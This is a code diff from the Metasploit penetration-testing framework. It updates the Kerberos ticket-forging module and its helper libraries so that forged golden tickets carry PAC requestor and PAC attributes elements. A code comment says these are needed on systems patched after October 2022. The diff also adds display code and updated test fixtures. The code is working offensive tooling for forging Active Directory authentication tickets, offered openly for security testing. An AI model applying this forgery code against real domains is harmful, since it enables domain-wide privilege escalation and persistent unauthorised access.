diff --git a/lib/msf/core/exploit/remote/kerberos/client/pac.rb b/lib/msf/core/exploit/remote/kerberos/client/pac.rb index 9a4b453729fd..739712b6b06a 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/pac.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/pac.rb @@ -38,6 +38,7 @@ def build_pa_pac_request(opts = {}) # @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962 # @option opts [Time] :logon_time # @option opts[String] :checksum_enc_key Encryption key for calculating the checksum + # @option opts[Boolean] :is_golden Include requestor and pac attributes in the PAC (needed for golden tickets; not for silver) # @return [Rex::Proto::Kerberos::Pac::Krb5Pac] # @see Rex::Proto::Kerberos::Pac::Krb5PacLogonInfo # @see Rex::Proto::Kerberos::Pac::Krb5PacClientInfo @@ -55,6 +56,7 @@ def build_pac(opts = {}) logon_time = opts[:logon_time] || Time.now checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5 ticket_checksum = opts[:ticket_checksum] || nil + is_golden = opts.fetch(:is_golden) { true } validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new( logon_time: logon_time, @@ -86,6 +88,14 @@ def build_pac(opts = {}) name: user_name ) + if is_golden + pac_requestor = Rex::Proto::Kerberos::Pac::Krb5PacRequestor.new( + user_sid: "#{domain_id}-#{user_id}" + ) + + pac_attributes = Rex::Proto::Kerberos::Pac::Krb5PacAttributes.new + end + server_checksum = Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum.new( signature_type: checksum_type ) @@ -96,10 +106,20 @@ def build_pac(opts = {}) pac_elements = [ logon_info, - client_info, - server_checksum, - priv_srv_checksum + client_info ] + + if is_golden + # These PAC elements are required for golden tickets in post-October 2022 systems + pac_elements.append( + pac_requestor, + pac_attributes) + end + + pac_elements.append( + server_checksum, + priv_srv_checksum + ) pac_elements << ticket_checksum unless ticket_checksum.nil? pac_type = Rex::Proto::Kerberos::Pac::Krb5Pac.new diff --git a/lib/msf/core/exploit/remote/kerberos/ticket.rb b/lib/msf/core/exploit/remote/kerberos/ticket.rb index a88ad4f970c4..9df7075f628b 100644 --- a/lib/msf/core/exploit/remote/kerberos/ticket.rb +++ b/lib/msf/core/exploit/remote/kerberos/ticket.rb @@ -12,7 +12,7 @@ module Ticket # @param [Array] extra_sids An array of extra sids, Ex: `['S-1-5-etc-etc-519']` def forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:, domain:, username:, user_id: Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID, - domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false) + domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false, is_golden: true) sname_principal = create_principal(sname) cname_principal = create_principal(username) group_ids = [ @@ -57,7 +57,8 @@ def forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:, domain_id: domain_sid, extra_sids: extra_sids, flags: flags, - create_ticket_checksum: ticket_checksum + create_ticket_checksum: ticket_checksum, + is_golden: is_golden } ticket_enc_part = create_enc_ticket_part(opts: opts) diff --git a/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb b/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb index 8327417b461b..35db9a005b07 100644 --- a/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb +++ b/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb @@ -324,6 +324,23 @@ def present_upn_and_dns_information(upn_and_dns_info) output.join("\n") end + def present_pac_requestor(pac_requestor) + output = [] + output << 'Pac Requestor:' + output << "SID: #{pac_requestor.user_sid}".indent(2) + output.join("\n") + end + + def present_pac_attributes(pac_attributes) + output = [] + output << 'Pac Attributes:' + output << "Flag length: #{pac_attributes.flags_length}".indent(2) + output << "Flags: #{pac_attributes.flags}".indent(2) + attribute_attributes = Rex::Proto::Kerberos::Pac::PacAttributesFlags.read([pac_attributes.flags].pack('N')) + output << print_bin_data_model(attribute_attributes, bit_length: 32).to_s.indent(4) + output.join("\n") + end + # @param [Rex::Proto::Kerberos::Pac::Krb5PacInfoBuffer] info_buffer # @return [String] A human readable representation of a Pac Info Buffer def present_pac_info_buffer(info_buffer) @@ -340,6 +357,10 @@ def present_pac_info_buffer(info_buffer) present_priv_server_checksum(pac_element) when Rex::Proto::Kerberos::Pac::Krb5PacElementType::USER_PRINCIPAL_NAME_AND_DNS_INFORMATION present_upn_and_dns_information(pac_element) + when Rex::Proto::Kerberos::Pac::Krb5PacElementType::PAC_REQUESTOR + present_pac_requestor(pac_element) + when Rex::Proto::Kerberos::Pac::Krb5PacElementType::PAC_ATTRIBUTES + present_pac_attributes(pac_element) when Rex::Proto::Kerberos::Pac::Krb5PacElementType::TICKET_CHECKSUM present_ticket_checksum(pac_element) when Rex::Proto::Kerberos::Pac::Krb5PacElementType::FULL_PAC_CHECKSUM diff --git a/lib/rex/proto/kerberos/pac.rb b/lib/rex/proto/kerberos/pac.rb index a551c14f4fe3..a81080057a5e 100644 --- a/lib/rex/proto/kerberos/pac.rb +++ b/lib/rex/proto/kerberos/pac.rb @@ -20,6 +20,8 @@ module Pac # XXX: Does not include some of the newer SE_GROUP_* flags SE_GROUP_ALL = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + PAC_WAS_GIVEN_IMPLICITLY = 0x00000001 + USER_NORMAL_ACCOUNT = 0x00000010 USER_DONT_EXPIRE_PASSWORD = 0x00000200 PAC_LOGON_INFO = 1 diff --git a/lib/rex/proto/kerberos/pac/krb5_pac.rb b/lib/rex/proto/kerberos/pac/krb5_pac.rb index 57c4c0c2b7aa..aa306df298c3 100644 --- a/lib/rex/proto/kerberos/pac/krb5_pac.rb +++ b/lib/rex/proto/kerberos/pac/krb5_pac.rb @@ -286,6 +286,50 @@ class Krb5ClientInfo < BinData::Record string16 :name, read_length: :name_length end + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/c34adc61-80e1-4920-8923-22ef5054c4b2 + class Krb5PacRequestor < BinData::Record + endian :little + # @!attribute [r] ul_type + # @return [Integer] Describes the type of data present in the buffer + virtual :ul_type, value: Krb5PacElementType::PAC_REQUESTOR + + # @!attribute [rw] user_sid + # @return [RPC_SID] SID of the requesting user + ms_dtyp_sid :user_sid + end + + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/1c7aeadb-8ca4-4050-ae98-0e9834bdd81d + class Krb5PacAttributes < BinData::Record + endian :little + # @!attribute [r] ul_type + # @return [Integer] Describes the type of data present in the buffer + virtual :ul_type, value: Krb5PacElementType::PAC_ATTRIBUTES + + # @!attribute [rw] flags_length + # @return [Integer] Length of the flags field, in bits + uint32 :flags_length, initial_value: 2 + + # @!attribute [rw] flags + # @return [Integer] Attribute flags + uint32 :flags, initial_value: PAC_WAS_GIVEN_IMPLICITLY + end + + class PacAttributesFlags < BinData::Record + endian :big + + 30.times do + bit1 :"_reserved_#{self.fields.length}" + end + + # @!attribute [rw] pac_was_requested + # @return [BinData::Bit1] The client requested the PAC + bit1 :pac_was_requested + + # @!attribute [rw] pac_was_given_implicitly + # @return [BinData::Bit1] The client did not request or decline a PAC and was given one implicitly + bit1 :pac_was_given_implicitly + end + class Krb5SignatureType < BinData::Uint32le # @param [Integer] val The checksum value # @see Rex::Proto::Kerberos::Crypto::Checksum @@ -777,6 +821,8 @@ class Krb5PacElement < BinData::Choice krb5_full_pac_checksum Krb5PacElementType::FULL_PAC_CHECKSUM krb5_pac_credential_info Krb5PacElementType::CREDENTIAL_INFORMATION, data_length: :data_length krb5_upn_dns_info Krb5PacElementType::USER_PRINCIPAL_NAME_AND_DNS_INFORMATION + krb5_pac_requestor Krb5PacElementType::PAC_REQUESTOR + krb5_pac_attributes Krb5PacElementType::PAC_ATTRIBUTES unknown_pac_element :default, data_length: :data_length, selection: :selection end diff --git a/modules/auxiliary/admin/kerberos/forge_ticket.rb b/modules/auxiliary/admin/kerberos/forge_ticket.rb index ae1008743aab..b50b43795f09 100644 --- a/modules/auxiliary/admin/kerberos/forge_ticket.rb +++ b/modules/auxiliary/admin/kerberos/forge_ticket.rb @@ -78,7 +78,7 @@ def run private - def forge_ccache(sname:, flags:) + def forge_ccache(sname:, flags:, is_golden:) enc_key, enc_type = get_enc_key_and_type start_time = Time.now.utc @@ -97,7 +97,8 @@ def forge_ccache(sname:, flags:) domain_sid: datastore['DOMAIN_SID'], extra_sids: extra_sids, session_key: datastore['SessionKey'].blank? ? nil : datastore['SessionKey'].strip, - ticket_checksum: datastore['IncludeTicketChecksum'] + ticket_checksum: datastore['IncludeTicketChecksum'], + is_golden: is_golden ) Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ccache, framework_module: self) @@ -113,7 +114,7 @@ def forge_silver validate_key! sname = datastore['SPN'].split('/', 2) flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(silver_ticket_flags) - forge_ccache(sname: sname, flags: flags) + forge_ccache(sname: sname, flags: flags, is_golden: false) end def forge_golden @@ -121,7 +122,7 @@ def forge_golden validate_key! sname = ['krbtgt', datastore['DOMAIN'].upcase] flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(golden_ticket_flags) - forge_ccache(sname: sname, flags: flags) + forge_ccache(sname: sname, flags: flags, is_golden: true) end def get_enc_key_and_type diff --git a/spec/lib/msf/core/exploit/remote/kerberos/client/pac_spec.rb b/spec/lib/msf/core/exploit/remote/kerberos/client/pac_spec.rb index b2a1914f0dd3..614cf1665443 100644 --- a/spec/lib/msf/core/exploit/remote/kerberos/client/pac_spec.rb +++ b/spec/lib/msf/core/exploit/remote/kerberos/client/pac_spec.rb @@ -31,7 +31,7 @@ it "creates a PAC-TYPE with default checksum type" do pac = subject.build_pac - expect(pac.pac_info_buffers[3].buffer.pac_element.signature_type).to eq(Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5) + expect(pac.pac_info_buffers[5].buffer.pac_element.signature_type).to eq(Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5) end it "creates a PAC-TYPE with default data in buffers" do @@ -47,7 +47,7 @@ it "creates a PAC-TYPE with provided checksum type" do pac = subject.build_pac(pac_opts) - expect(pac.pac_info_buffers[3].buffer.pac_element.signature_type).to eq(Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5) + expect(pac.pac_info_buffers[5].buffer.pac_element.signature_type).to eq(Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5) end it "creates a PAC-TYPE with provided data in buffers" do diff --git a/spec/lib/msf/core/exploit/remote/kerberos/ticket_spec.rb b/spec/lib/msf/core/exploit/remote/kerberos/ticket_spec.rb index 4cf6bd9fcf36..930d8538dbda 100644 --- a/spec/lib/msf/core/exploit/remote/kerberos/ticket_spec.rb +++ b/spec/lib/msf/core/exploit/remote/kerberos/ticket_spec.rb @@ -172,11 +172,13 @@ let(:create_ticket_checksum) { false } let(:session_key) { nil } let(:pac_type) do - "\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \ - "\x48\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \ - "\x00\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00" \ - "\x20\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00" \ - "\x38\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \ + "\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \ + "\x68\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \ + "\x20\x02\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x1c\x00\x00\x00" \ + "\x40\x02\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x08\x00\x00\x00" \ + "\x60\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00" \ + "\x68\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00" \ + "\x80\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \ "\xa8\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xea\xc1\x1c" \ "\x47\x98\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" \ "\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ @@ -206,9 +208,12 @@ "\x15\x00\x00\x00\x02\x87\x5a\x55\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16" \ "\x00\xea\xc1\x1c\x47\x98\xd8\x01\x14\x00\x66\x00\x61\x00\x6b\x00" \ "\x65\x00\x5f\x00\x6d\x00\x79\x00\x73\x00\x71\x00\x6c\x00\x00\x00" \ - "\x76\xff\xff\xff\xe3\x66\x46\xb2\x9b\xf0\x22\xa5\xd5\x82\x19\x0b" \ - "\x9c\x59\x9c\xd2\x00\x00\x00\x00\x76\xff\xff\xff\x7b\xe9\xe6\x68" \ - "\xc4\x78\x95\x24\xf1\x76\xa0\xf6\x94\x5f\xec\x6d\x00\x00\x00\x00" + "\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x02\x87\x5a\x55" \ + "\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16\xf4\x01\x00\x00\x00\x00\x00\x00" \ + "\x02\x00\x00\x00\x01\x00\x00\x00\x76\xff\xff\xff\x7d\xc5\xca\xfe" \ + "\x2e\xa0\x7d\xa2\x58\xce\x80\xfb\xf8\x59\x49\xd4\x00\x00\x00\x00" \ + "\x76\xff\xff\xff\x93\xf8\x1c\xd8\x40\x44\xe5\x9c\xb6\xa4\x32\x89" \ + "\x57\x06\xed\x28\x00\x00\x00\x00" end it_behaves_like 'ticket' end @@ -221,11 +226,13 @@ let(:create_ticket_checksum) { false } let(:session_key) { nil } let(:pac_type) do - "\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \ - "\x48\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \ - "\x00\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00" \ - "\x20\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x10\x00\x00\x00" \ - "\x30\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \ + "\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \ + "\x68\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \ + "\x20\x02\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x1c\x00\x00\x00" \ + "\x40\x02\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x08\x00\x00\x00" \ + "\x60\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00" \ + "\x68\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x10\x00\x00\x00" \ + "\x78\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \ "\xa8\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xea\xc1\x1c" \ "\x47\x98\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" \ "\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ @@ -255,8 +262,11 @@ "\x15\x00\x00\x00\x02\x87\x5a\x55\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16" \ "\x00\xea\xc1\x1c\x47\x98\xd8\x01\x14\x00\x66\x00\x61\x00\x6b\x00" \ "\x65\x00\x5f\x00\x6d\x00\x79\x00\x73\x00\x71\x00\x6c\x00\x00\x00" \ - "\x0f\x00\x00\x00\x0f\x49\x9f\xd3\xeb\x9d\xfc\x5b\x86\x25\x72\xe3" \ - "\x0f\x00\x00\x00\x26\x37\x7a\x68\xa4\x72\xac\x01\x62\x9f\xa9\xbf" + "\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x02\x87\x5a\x55" \ + "\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16\xf4\x01\x00\x00\x00\x00\x00\x00" \ + "\x02\x00\x00\x00\x01\x00\x00\x00\x0f\x00\x00\x00\xab\xf1\x31\xb6" \ + "\x87\x35\xf2\xce\x2e\xc7\x84\xc8\x0f\x00\x00\x00\x0e\x69\xae\x48" \ + "\x7c\x3b\x8b\xbe\xbe\x08\x88\x3d" end it_behaves_like 'ticket' end @@ -269,11 +279,13 @@ let(:create_ticket_checksum) { false } let(:session_key) { nil } let(:pac_type) do - "\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \ - "\x48\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \ - "\x00\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00" \ - "\x20\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x10\x00\x00\x00" \ - "\x30\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \ + "\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \ + "\x68\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \ + "\x20\x02\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x1c\x00\x00\x00" \ + "\x40\x02\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x08\x00\x00\x00" \ + "\x60\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00" \ + "\x68\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x10\x00\x00\x00" \ + "\x78\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \ "\xa8\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xea\xc1\x1c" \ "\x47\x98\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" \ "\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ @@ -303,8 +315,11 @@ "\x15\x00\x00\x00\x02\x87\x5a\x55\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16" \ "\x00\xea\xc1\x1c\x47\x98\xd8\x01\x14\x00\x66\x00\x61\x00\x6b\x00" \ "\x65\x00\x5f\x00\x6d\x00\x79\x00\x73\x00\x71\x00\x6c\x00\x00\x00" \ - "\x10\x00\x00\x00\x92\x88\x0a\x6e\x0b\xa1\x64\xb9\xfe\x1b\xde\x8d" \ - "\x10\x00\x00\x00\x01\x21\x93\xa3\x32\x80\xe3\x90\x9c\x78\x70\x9f" + "\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x02\x87\x5a\x55" \ + "\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16\xf4\x01\x00\x00\x00\x00\x00\x00" \ + "\x02\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x99\x45\x39\x47" \ + "\x17\x85\xf7\x6f\x20\x8b\x78\x52\x10\x00\x00\x00\x8c\xce\x2d\x98" \ + "\xda\x1f\x71\x51\x42\x16\x0d\x97" end it_behaves_like 'ticket' end @@ -319,12 +334,14 @@ let(:ticket_checksum_sig) { "\xb0\x90\x67\x70\xea\xf4\x9b\x43\x39\x30\x96\x70\x14\x40\xb2\x24" } let(:pac_type) do - "\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \ - "\x58\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \ - "\x10\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00" \ - "\x30\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00" \ - "\x48\x02\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x14\x00\x00\x00" \ - "\x60\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \ + "\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \ + "\x78\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \ + "\x30\x02\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x1c\x00\x00\x00" \ + "\x50\x02\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x08\x00\x00\x00" \ + "\x70\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00" \ + "\x78\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00" \ + "\x90\x02\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x14\x00\x00\x00" \ + "\xa8\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \ "\xa8\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xea\xc1\x1c" \ "\x47\x98\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" \ "\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ @@ -354,11 +371,13 @@ "\x15\x00\x00\x00\x02\x87\x5a\x55\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16" \ "\x00\xea\xc1\x1c\x47\x98\xd8\x01\x14\x00\x66\x00\x61\x00\x6b\x00" \ "\x65\x00\x5f\x00\x6d\x00\x79\x00\x73\x00\x71\x00\x6c\x00\x00\x00" \ - "\x76\xff\xff\xff\x17\x0a\x13\xd5\xd0\x9d\x70\x7c\xf5\x6c\xb5\xae" \ - "\xe4\x31\xae\x65\x00\x00\x00\x00\x76\xff\xff\xff\xb1\x93\x5e\xb2" \ - "\xf0\x91\x4f\x10\xb6\x8d\xc7\xe4\x9d\xa4\x32\x13\x00\x00\x00\x00" \ - "\x76\xff\xff\xff\xb0\x90\x67\x70\xea\xf4\x9b\x43\x39\x30\x96\x70" \ - "\x14\x40\xb2\x24\x00\x00\x00\x00" + "\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x02\x87\x5a\x55" \ + "\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16\xf4\x01\x00\x00\x00\x00\x00\x00" \ + "\x02\x00\x00\x00\x01\x00\x00\x00\x76\xff\xff\xff\x3a\xa0\x8f\xb0" \ + "\x6d\x3e\x90\xc0\xd1\xd3\x2d\xdf\xd3\x42\xa9\x16\x00\x00\x00\x00" \ + "\x76\xff\xff\xff\x80\x77\x5b\x5d\x07\x80\x22\xab\x65\x01\x67\xd1" \ + "\x66\xed\x9d\x80\x00\x00\x00\x00\x76\xff\xff\xff\xb0\x90\x67\x70" \ + "\xea\xf4\x9b\x43\x39\x30\x96\x70\x14\x40\xb2\x24\x00\x00\x00\x00" end it_behaves_like 'ticket' diff --git a/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb b/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb index 80b7e549c170..dad3c331b8c0 100644 --- a/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb +++ b/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb @@ -50,7 +50,7 @@ Ticket etype: 23 (RC4_HMAC) Key: 41414141414141414141414141414141 Subkey: false - Ticket Length: 1014 + Ticket Length: 1086 Ticket Flags: 0x50e00000 (FORWARDABLE, PROXIABLE, RENEWABLE, INITIAL, PRE_AUTHENT) Addresses: 0 Authdatas: 0 @@ -185,10 +185,17 @@ Client Info: Name: 'Administrator' Client ID: #{Time.parse('2022-07-15 13:33:40 +0100').to_time} + Pac Requestor: + SID: S-1-5-21-1266190811-2419310613-1856291569-500 + Pac Attributes: + Flag length: 2 + Flags: 1 + .... .... .... .... .... .... .... ..0. Pac Was Requested: The PAC_WAS_REQUESTED bit is NOT SET + .... .... .... .... .... .... .... ...1 Pac Was Given Implicitly: The PAC_WAS_GIVEN_IMPLICITLY bit is SET Pac Server Checksum: - Signature: 6dc9bd5369b0defac778b349e298012a + Signature: 0e081d0f36228b8b592c6947c8c96435 Pac Privilege Server Checksum: - Signature: 0ac8624ae3cc7cd3750fcf902d006b5f + Signature: 42ecbbbdeb8dae3fe42f7ac5630f3af3 TABLE expect(ticket_save_path).to_not be_nil end